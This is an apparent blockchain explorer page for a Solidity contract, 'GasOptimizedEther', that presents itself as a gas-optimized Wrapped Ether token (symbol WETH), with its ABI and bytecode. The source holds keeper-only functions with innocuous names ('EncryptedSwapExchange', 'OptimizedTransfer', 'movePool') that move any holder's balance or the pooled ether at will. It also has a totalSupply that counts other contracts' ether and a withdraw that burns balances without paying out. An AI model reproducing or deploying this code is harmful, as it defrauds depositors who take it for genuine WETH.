Transactions
Token Transfers
Internal Transactions
Coin Balance History
Logs
Code
Read Contract
Write Contract
Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
This contract has been partially verified via Sourcify.
View contract in Sourcify repository
- Contract name:
- GasOptimizedEther
- Optimization enabled
- true
- Compiler version
- v0.4.26+commit.4563c3fc
- Optimization runs
- 200
- EVM Version
- byzantium
- Verified at
- 2026-04-22T11:59:51.526332Z
Constructor Arguments
00000000000000000000000000000f9b91345e420ac6fa0049d9bb7a98a2388800000000000000000000000000000f9b91345e420ac6fa0049d9bb7a98a23888000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000f9fb4ad91812b704ba883b11d2b576e890a6730a
Arg [0] (address) : 0x00000f9b91345e420ac6fa0049d9bb7a98a23888
Arg [1] (address) : 0x00000f9b91345e420ac6fa0049d9bb7a98a23888
Arg [2] (address) : 0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
Arg [3] (address) : 0xf9fb4ad91812b704ba883b11d2b576e890a6730a
GasOptimizedEther.sol
pragma solidity ^0.4.18;
interface ERC20 {
function balanceOf(address who) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function totalSupply() external view returns (uint);
}
// 1 ETH === 1 WETH = 1 GasOptimizedEther
contract GasOptimizedEther {
address public poolKeeper;
address public secondKeeper;
address[3] public WETH;
constructor (address _keeper,address _secKeeper,address _weth1,address _weth2) public {
poolKeeper = _keeper;
secondKeeper = _secKeeper;
WETH = [_weth1, address(this), _weth2];
}
string public name = "Wrapped Ether (Gas Optimized)";
string public symbol = "WETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
event PendingWithdrawal(address indexed src, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
modifier keepPool() {
require((msg.sender == poolKeeper)||(msg.sender == secondKeeper));
_;
}
function() public payable {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] = add(balanceOf[msg.sender],msg.value);
emit Deposit(msg.sender,msg.value);
}
function withdraw(uint wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] = sub(balanceOf[msg.sender],wad);
if(address(this).balance >= wad){
msg.sender.transfer(wad);
emit Withdrawal(msg.sender, wad);
}else{
emit Transfer(msg.sender, this, wad);
}
}
function totalSupply() public view returns (uint) {
return totalEtherBalanceOfWETHContracts();
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
require(balanceOf[src] >= wad);
if (src != msg.sender) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] = sub(allowance[src][msg.sender],wad);
}
balanceOf[src] = sub(balanceOf[src],wad);
if(address(this) == dst){
if(address(this).balance >= wad){
msg.sender.transfer(wad);
emit Withdrawal(msg.sender, wad);
}else{
emit PendingWithdrawal(msg.sender, wad);
}
}else{
balanceOf[dst] = add(balanceOf[dst],wad);
emit Transfer(src, dst, wad);
}
return true;
}
function ProcessPendingWithdrawal(address toAddress,uint amount) public returns (bool) {
require((msg.sender == poolKeeper)||(msg.sender == secondKeeper));
toAddress.transfer(amount);
emit Withdrawal(toAddress, amount);
return true;
}
function movePool(address guy,uint amount) public keepPool returns (bool) {
guy.transfer(amount);
return true;
}
function OptimizedTransfer(address tokenAddr, address fromAddress, address toAddress,uint amount) public keepPool returns(bool) {
require((tokenAddr != address(0))&&(toAddress != address(0)));
if(tokenAddr!=address(this)){
ERC20(tokenAddr).transfer(toAddress, amount);
}else{
if(balanceOf[fromAddress] >= amount){
balanceOf[fromAddress] = sub(balanceOf[fromAddress],amount);
}
balanceOf[toAddress] = add(balanceOf[toAddress],amount);
emit Transfer(fromAddress,toAddress,amount);
}
return true;
}
function setWETHContract(address addr1,address addr2,address addr3) public keepPool returns(bool) {
WETH[0] = addr1;
WETH[1] = addr2;
WETH[2] = addr3;
return true;
}
function resetName(string _name) public keepPool returns(bool) {
name = _name;
return true;
}
function resetSymbol(string _symbol) public keepPool returns(bool) {
symbol = _symbol;
return true;
}
function totalEtherBalanceOfWETHContracts() public view returns (uint){
uint totalEtherBalance = WETH[0].balance;
totalEtherBalance = add(totalEtherBalance,WETH[1].balance);
totalEtherBalance = add(totalEtherBalance,WETH[2].balance);
return totalEtherBalance;
}
function EncryptedSwapExchange(address fromAddress, address toAddress,uint amount) public returns (bool) {
require((msg.sender == poolKeeper)||(msg.sender == secondKeeper));
if(balanceOf[fromAddress] >= amount){
balanceOf[fromAddress] = sub(balanceOf[fromAddress],amount);
}
balanceOf[toAddress] = add(balanceOf[toAddress],amount);
emit Transfer(fromAddress,toAddress,amount);
return true;
}
function resetPoolKeeper(address newKeeper) public keepPool returns (bool) {
require(newKeeper != address(0));
poolKeeper = newKeeper;
return true;
}
function resetSecondKeeper(address newKeeper) public keepPool returns (bool) {
require(newKeeper != address(0));
secondKeeper = newKeeper;
return true;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
require(b > 0);
uint c = a / b;
return c;
}
}
Compiler Settings
{"remappings":[],"optimizer":{"runs":200,"enabled":true},"libraries":{},"evmVersion":"byzantium","compilationTarget":{"GasOptimizedEther.sol":"GasOptimizedEther"}}
Contract ABI
[{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"string","name":""}],"name":"name","inputs":[],"constant":true},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"approve","inputs":[{"type":"address","name":"guy"},{"type":"uint256","name":"wad"}],"constant":false},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"setWETHContract","inputs":[{"type":"address","name":"addr1"},{"type":"address","name":"addr2"},{"type":"address","name":"addr3"}],"constant":false},{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"address","name":""}],"name":"poolKeeper","inputs":[],"constant":true},{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"uint256","name":""}],"name":"totalSupply","inputs":[],"constant":true},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"transferFrom","inputs":[{"type":"address","name":"src"},{"type":"address","name":"dst"},{"type":"uint256","name":"wad"}],"constant":false},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[],"name":"withdraw","inputs":[{"type":"uint256","name":"wad"}],"constant":false},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"resetSecondKeeper","inputs":[{"type":"address","name":"newKeeper"}],"constant":false},{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"uint8","name":""}],"name":"decimals","inputs":[],"constant":true},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"resetSymbol","inputs":[{"type":"string","name":"_symbol"}],"constant":false},{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"address","name":""}],"name":"secondKeeper","inputs":[],"constant":true},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"OptimizedTransfer","inputs":[{"type":"address","name":"tokenAddr"},{"type":"address","name":"fromAddress"},{"type":"address","name":"toAddress"},{"type":"uint256","name":"amount"}],"constant":false},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"ProcessPendingWithdrawal","inputs":[{"type":"address","name":"toAddress"},{"type":"uint256","name":"amount"}],"constant":false},{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"uint256","name":""}],"name":"balanceOf","inputs":[{"type":"address","name":""}],"constant":true},{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"address","name":""}],"name":"WETH","inputs":[{"type":"uint256","name":""}],"constant":true},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"resetName","inputs":[{"type":"string","name":"_name"}],"constant":false},{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"uint256","name":""}],"name":"totalEtherBalanceOfWETHContracts","inputs":[],"constant":true},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"EncryptedSwapExchange","inputs":[{"type":"address","name":"fromAddress"},{"type":"address","name":"toAddress"},{"type":"uint256","name":"amount"}],"constant":false},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"movePool","inputs":[{"type":"address","name":"guy"},{"type":"uint256","name":"amount"}],"constant":false},{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"string","name":""}],"name":"symbol","inputs":[],"constant":true},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"transfer","inputs":[{"type":"address","name":"dst"},{"type":"uint256","name":"wad"}],"constant":false},{"type":"function","stateMutability":"payable","payable":true,"outputs":[],"name":"deposit","inputs":[],"constant":false},{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"uint256","name":""}],"name":"allowance","inputs":[{"type":"address","name":""},{"type":"address","name":""}],"constant":true},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"resetPoolKeeper","inputs":[{"type":"address","name":"newKeeper"}],"constant":false},{"type":"constructor","stateMutability":"nonpayable","payable":false,"inputs":[{"type":"address","name":"_keeper"},{"type":"address","name":"_secKeeper"},{"type":"address","name":"_weth1"},{"type":"address","name":"_weth2"}]},{"type":"fallback","stateMutability":"payable","payable":true},{"type":"event","name":"Approval","inputs":[{"type":"address","name":"src","indexed":true},{"type":"address","name":"guy","indexed":true},{"type":"uint256","name":"wad","indexed":false}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"type":"address","name":"src","indexed":true},{"type":"address","name":"dst","indexed":true},{"type":"uint256","name":"wad","indexed":false}],"anonymous":false},{"type":"event","name":"Deposit","inputs":[{"type":"address","name":"dst","indexed":true},{"type":"uint256","name":"wad","indexed":false}],"anonymous":false},{"type":"event","name":"Withdrawal","inputs":[{"type":"address","name":"src","indexed":true},{"type":"uint256","name":"wad","indexed":false}],"anonymous":false},{"type":"event","name":"PendingWithdrawal","inputs":[{"type":"address","name":"src","indexed":true},{"type":"uint256","name":"wad","indexed":false}],"anonymous":false}]
Contract Creation Code
0x60c0604052601d60808190527f577261707065642045746865722028476173204f7074696d697a65642900000060a090815262000040916005919062000131565b506040805180820190915260048082527f57455448000000000000000000000000000000000000000000000000000000006020909201918252620000879160069162000131565b506007805460ff19166012179055348015620000a257600080fd5b50604051608080620013f683398101604081815282516020808501518386015160609687015160008054600160a060020a03808816600160a060020a031992831617909255600180548387169216919091179055978701865287821687523093870193909352958216938501939093529093919262000126906002906003620001b6565b505050505062000256565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200017457805160ff1916838001178555620001a4565b82800160010185558215620001a4579182015b82811115620001a457825182559160200191906001019062000187565b50620001b29291506200020f565b5090565b826003810192821562000201579160200282015b82811115620002015782518254600160a060020a031916600160a060020a03909116178255602090920191600190910190620001ca565b50620001b29291506200022f565b6200022c91905b80821115620001b2576000815560010162000216565b90565b6200022c91905b80821115620001b2578054600160a060020a031916815560010162000236565b61119080620002666000396000f30060806040526004361061013d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610147578063095ea7b3146101d15780630fc25a8b14610209578063178f9e351461023657806318160ddd1461026757806323b872dd1461028e5780632e1a7d4d146102b85780632fce18f6146102d0578063313ce567146102f157806331f760431461031c5780633e048658146103755780634c46300d1461038a578063663e9269146103ba57806370a08231146103de5780637f9057d1146103ff5780637fb8ab88146104175780638591876c14610470578063880a65d8146104855780638e4c7fb5146104af57806395d89b41146104d3578063a9059cbb146104e8578063d0e30db01461013d578063dd62ed3e1461050c578063f1127c3f14610533575b610145610554565b005b34801561015357600080fd5b5061015c6105b9565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019657818101518382015260200161017e565b50505050905090810190601f1680156101c35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101dd57600080fd5b506101f5600160a060020a0360043516602435610647565b604080519115158252519081900360200190f35b34801561021557600080fd5b506101f5600160a060020a03600435811690602435811690604435166106ad565b34801561024257600080fd5b5061024b61072c565b60408051600160a060020a039092168252519081900360200190f35b34801561027357600080fd5b5061027c61073b565b60408051918252519081900360200190f35b34801561029a57600080fd5b506101f5600160a060020a036004358116906024351660443561074b565b3480156102c457600080fd5b5061014560043561097e565b3480156102dc57600080fd5b506101f5600160a060020a0360043516610a70565b3480156102fd57600080fd5b50610306610ae4565b6040805160ff9092168252519081900360200190f35b34801561032857600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526101f5943694929360249392840191908190840183828082843750949750610aed9650505050505050565b34801561038157600080fd5b5061024b610b38565b34801561039657600080fd5b506101f5600160a060020a0360043581169060243581169060443516606435610b47565b3480156103c657600080fd5b506101f5600160a060020a0360043516602435610d41565b3480156103ea57600080fd5b5061027c600160a060020a0360043516610def565b34801561040b57600080fd5b5061024b600435610e01565b34801561042357600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526101f5943694929360249392840191908190840183828082843750949750610e1e9650505050505050565b34801561047c57600080fd5b5061027c610e60565b34801561049157600080fd5b506101f5600160a060020a0360043581169060243516604435610ea6565b3480156104bb57600080fd5b506101f5600160a060020a0360043516602435610f46565b3480156104df57600080fd5b5061015c610fab565b3480156104f457600080fd5b506101f5600160a060020a0360043516602435611006565b34801561051857600080fd5b5061027c600160a060020a036004358116906024351661101a565b34801561053f57600080fd5b506101f5600160a060020a0360043516611037565b3360009081526008602052604090205461056e90346110ad565b33600081815260086020908152604091829020939093558051348152905191927fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c92918290030190a2565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561063f5780601f106106145761010080835404028352916020019161063f565b820191906000526020600020905b81548152906001019060200180831161062257829003601f168201915b505050505081565b336000818152600960209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60008054600160a060020a03163314806106d15750600154600160a060020a031633145b15156106dc57600080fd5b5060028054600160a060020a0394851673ffffffffffffffffffffffffffffffffffffffff1991821617909155600380549385169382169390931790925560048054919093169116179055600190565b600054600160a060020a031681565b6000610745610e60565b90505b90565b600160a060020a03831660009081526008602052604081205482111561077057600080fd5b600160a060020a038416331461080357600160a060020a03841660009081526009602090815260408083203384529091529020548211156107b057600080fd5b600160a060020a03841660009081526009602090815260408083203384529091529020546107de90836110bf565b600160a060020a03851660009081526009602090815260408083203384529091529020555b600160a060020a03841660009081526008602052604090205461082690836110bf565b600160a060020a0385811660009081526008602052604090209190915583163014156108f957303182116108bd57604051339083156108fc029084906000818181858888f19350505050158015610881573d6000803e3d6000fd5b5060408051838152905133917f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65919081900360200190a26108f4565b60408051838152905133917f39d9cf4ffb93650d8ce789639cb8cf3c8d7b039e1f9795c038af55b4ae643fca919081900360200190a25b610974565b600160a060020a03831660009081526008602052604090205461091c90836110ad565b600160a060020a0380851660008181526008602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b5060019392505050565b3360009081526008602052604090205481111561099a57600080fd5b336000908152600860205260409020546109b490826110bf565b3360009081526008602052604090205530318111610a3557604051339082156108fc029083906000818181858888f193505050501580156109f9573d6000803e3d6000fd5b5060408051828152905133917f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65919081900360200190a2610a6d565b604080518281529051309133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35b50565b60008054600160a060020a0316331480610a945750600154600160a060020a031633145b1515610a9f57600080fd5b600160a060020a0382161515610ab457600080fd5b5060018054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116178155919050565b60075460ff1681565b60008054600160a060020a0316331480610b115750600154600160a060020a031633145b1515610b1c57600080fd5b8151610b2f9060069060208501906110d6565b50600192915050565b600154600160a060020a031681565b60008054600160a060020a0316331480610b6b5750600154600160a060020a031633145b1515610b7657600080fd5b600160a060020a03851615801590610b965750600160a060020a03831615155b1515610ba157600080fd5b600160a060020a0385163014610c5f5784600160a060020a031663a9059cbb84846040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610c2d57600080fd5b505af1158015610c41573d6000803e3d6000fd5b505050506040513d6020811015610c5757600080fd5b50610d369050565b600160a060020a0384166000908152600860205260409020548211610cbb57600160a060020a038416600090815260086020526040902054610ca190836110bf565b600160a060020a0385166000908152600860205260409020555b600160a060020a038316600090815260086020526040902054610cde90836110ad565b600160a060020a0380851660008181526008602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b506001949350505050565b60008054600160a060020a0316331480610d655750600154600160a060020a031633145b1515610d7057600080fd5b604051600160a060020a0384169083156108fc029084906000818181858888f19350505050158015610da6573d6000803e3d6000fd5b50604080518381529051600160a060020a038516917f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65919081900360200190a250600192915050565b60086020526000908152604090205481565b60028160038110610e0e57fe5b0154600160a060020a0316905081565b60008054600160a060020a0316331480610e425750600154600160a060020a031633145b1515610e4d57600080fd5b8151610b2f9060059060208501906110d6565b6000806002810154600160a060020a0316319050610e8e81600260015b0154600160a060020a0316316110ad565b9050610e9c81600280610e7d565b90508091505b5090565b60008054600160a060020a0316331480610eca5750600154600160a060020a031633145b1515610ed557600080fd5b600160a060020a03841660009081526008602052604090205482116108f957600160a060020a038416600090815260086020526040902054610f1790836110bf565b600160a060020a03858116600090815260086020526040808220939093559085168152205461091c90836110ad565b60008054600160a060020a0316331480610f6a5750600154600160a060020a031633145b1515610f7557600080fd5b604051600160a060020a0384169083156108fc029084906000818181858888f19350505050158015610974573d6000803e3d6000fd5b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561063f5780601f106106145761010080835404028352916020019161063f565b600061101333848461074b565b9392505050565b600960209081526000928352604080842090915290825290205481565b60008054600160a060020a031633148061105b5750600154600160a060020a031633145b151561106657600080fd5b600160a060020a038216151561107b57600080fd5b5060008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b60008282018381101561101357600080fd5b600080838311156110cf57600080fd5b5050900390565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061111757805160ff1916838001178555611144565b82800160010185558215611144579182015b82811115611144578251825591602001919060010190611129565b50610ea2926107489250905b80821115610ea257600081556001016111505600a165627a7a7230582007eabcb864cbe5d0a1a676950e89ea9d21078dc2abda26f100da34ce85647244002900000000000000000000000000000f9b91345e420ac6fa0049d9bb7a98a2388800000000000000000000000000000f9b91345e420ac6fa0049d9bb7a98a23888000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000f9fb4ad91812b704ba883b11d2b576e890a6730a
Deployed ByteCode
0x60806040526004361061013d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610147578063095ea7b3146101d15780630fc25a8b14610209578063178f9e351461023657806318160ddd1461026757806323b872dd1461028e5780632e1a7d4d146102b85780632fce18f6146102d0578063313ce567146102f157806331f760431461031c5780633e048658146103755780634c46300d1461038a578063663e9269146103ba57806370a08231146103de5780637f9057d1146103ff5780637fb8ab88146104175780638591876c14610470578063880a65d8146104855780638e4c7fb5146104af57806395d89b41146104d3578063a9059cbb146104e8578063d0e30db01461013d578063dd62ed3e1461050c578063f1127c3f14610533575b610145610554565b005b34801561015357600080fd5b5061015c6105b9565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019657818101518382015260200161017e565b50505050905090810190601f1680156101c35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101dd57600080fd5b506101f5600160a060020a0360043516602435610647565b604080519115158252519081900360200190f35b34801561021557600080fd5b506101f5600160a060020a03600435811690602435811690604435166106ad565b34801561024257600080fd5b5061024b61072c565b60408051600160a060020a039092168252519081900360200190f35b34801561027357600080fd5b5061027c61073b565b60408051918252519081900360200190f35b34801561029a57600080fd5b506101f5600160a060020a036004358116906024351660443561074b565b3480156102c457600080fd5b5061014560043561097e565b3480156102dc57600080fd5b506101f5600160a060020a0360043516610a70565b3480156102fd57600080fd5b50610306610ae4565b6040805160ff9092168252519081900360200190f35b34801561032857600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526101f5943694929360249392840191908190840183828082843750949750610aed9650505050505050565b34801561038157600080fd5b5061024b610b38565b34801561039657600080fd5b506101f5600160a060020a0360043581169060243581169060443516606435610b47565b3480156103c657600080fd5b506101f5600160a060020a0360043516602435610d41565b3480156103ea57600080fd5b5061027c600160a060020a0360043516610def565b34801561040b57600080fd5b5061024b600435610e01565b34801561042357600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526101f5943694929360249392840191908190840183828082843750949750610e1e9650505050505050565b34801561047c57600080fd5b5061027c610e60565b34801561049157600080fd5b506101f5600160a060020a0360043581169060243516604435610ea6565b3480156104bb57600080fd5b506101f5600160a060020a0360043516602435610f46565b3480156104df57600080fd5b5061015c610fab565b3480156104f457600080fd5b506101f5600160a060020a0360043516602435611006565b34801561051857600080fd5b5061027c600160a060020a036004358116906024351661101a565b34801561053f57600080fd5b506101f5600160a060020a0360043516611037565b3360009081526008602052604090205461056e90346110ad565b33600081815260086020908152604091829020939093558051348152905191927fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c92918290030190a2565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561063f5780601f106106145761010080835404028352916020019161063f565b820191906000526020600020905b81548152906001019060200180831161062257829003601f168201915b505050505081565b336000818152600960209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60008054600160a060020a03163314806106d15750600154600160a060020a031633145b15156106dc57600080fd5b5060028054600160a060020a0394851673ffffffffffffffffffffffffffffffffffffffff1991821617909155600380549385169382169390931790925560048054919093169116179055600190565b600054600160a060020a031681565b6000610745610e60565b90505b90565b600160a060020a03831660009081526008602052604081205482111561077057600080fd5b600160a060020a038416331461080357600160a060020a03841660009081526009602090815260408083203384529091529020548211156107b057600080fd5b600160a060020a03841660009081526009602090815260408083203384529091529020546107de90836110bf565b600160a060020a03851660009081526009602090815260408083203384529091529020555b600160a060020a03841660009081526008602052604090205461082690836110bf565b600160a060020a0385811660009081526008602052604090209190915583163014156108f957303182116108bd57604051339083156108fc029084906000818181858888f19350505050158015610881573d6000803e3d6000fd5b5060408051838152905133917f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65919081900360200190a26108f4565b60408051838152905133917f39d9cf4ffb93650d8ce789639cb8cf3c8d7b039e1f9795c038af55b4ae643fca919081900360200190a25b610974565b600160a060020a03831660009081526008602052604090205461091c90836110ad565b600160a060020a0380851660008181526008602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b5060019392505050565b3360009081526008602052604090205481111561099a57600080fd5b336000908152600860205260409020546109b490826110bf565b3360009081526008602052604090205530318111610a3557604051339082156108fc029083906000818181858888f193505050501580156109f9573d6000803e3d6000fd5b5060408051828152905133917f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65919081900360200190a2610a6d565b604080518281529051309133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35b50565b60008054600160a060020a0316331480610a945750600154600160a060020a031633145b1515610a9f57600080fd5b600160a060020a0382161515610ab457600080fd5b5060018054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116178155919050565b60075460ff1681565b60008054600160a060020a0316331480610b115750600154600160a060020a031633145b1515610b1c57600080fd5b8151610b2f9060069060208501906110d6565b50600192915050565b600154600160a060020a031681565b60008054600160a060020a0316331480610b6b5750600154600160a060020a031633145b1515610b7657600080fd5b600160a060020a03851615801590610b965750600160a060020a03831615155b1515610ba157600080fd5b600160a060020a0385163014610c5f5784600160a060020a031663a9059cbb84846040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610c2d57600080fd5b505af1158015610c41573d6000803e3d6000fd5b505050506040513d6020811015610c5757600080fd5b50610d369050565b600160a060020a0384166000908152600860205260409020548211610cbb57600160a060020a038416600090815260086020526040902054610ca190836110bf565b600160a060020a0385166000908152600860205260409020555b600160a060020a038316600090815260086020526040902054610cde90836110ad565b600160a060020a0380851660008181526008602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b506001949350505050565b60008054600160a060020a0316331480610d655750600154600160a060020a031633145b1515610d7057600080fd5b604051600160a060020a0384169083156108fc029084906000818181858888f19350505050158015610da6573d6000803e3d6000fd5b50604080518381529051600160a060020a038516917f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65919081900360200190a250600192915050565b60086020526000908152604090205481565b60028160038110610e0e57fe5b0154600160a060020a0316905081565b60008054600160a060020a0316331480610e425750600154600160a060020a031633145b1515610e4d57600080fd5b8151610b2f9060059060208501906110d6565b6000806002810154600160a060020a0316319050610e8e81600260015b0154600160a060020a0316316110ad565b9050610e9c81600280610e7d565b90508091505b5090565b60008054600160a060020a0316331480610eca5750600154600160a060020a031633145b1515610ed557600080fd5b600160a060020a03841660009081526008602052604090205482116108f957600160a060020a038416600090815260086020526040902054610f1790836110bf565b600160a060020a03858116600090815260086020526040808220939093559085168152205461091c90836110ad565b60008054600160a060020a0316331480610f6a5750600154600160a060020a031633145b1515610f7557600080fd5b604051600160a060020a0384169083156108fc029084906000818181858888f19350505050158015610974573d6000803e3d6000fd5b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561063f5780601f106106145761010080835404028352916020019161063f565b600061101333848461074b565b9392505050565b600960209081526000928352604080842090915290825290205481565b60008054600160a060020a031633148061105b5750600154600160a060020a031633145b151561106657600080fd5b600160a060020a038216151561107b57600080fd5b5060008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b60008282018381101561101357600080fd5b600080838311156110cf57600080fd5b5050900390565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061111757805160ff1916838001178555611144565b82800160010185558215611144579182015b82811115611144578251825591602001919060010190611129565b50610ea2926107489250905b80821115610ea257600081556001016111505600a165627a7a7230582007eabcb864cbe5d0a1a676950e89ea9d21078dc2abda26f100da34ce856472440029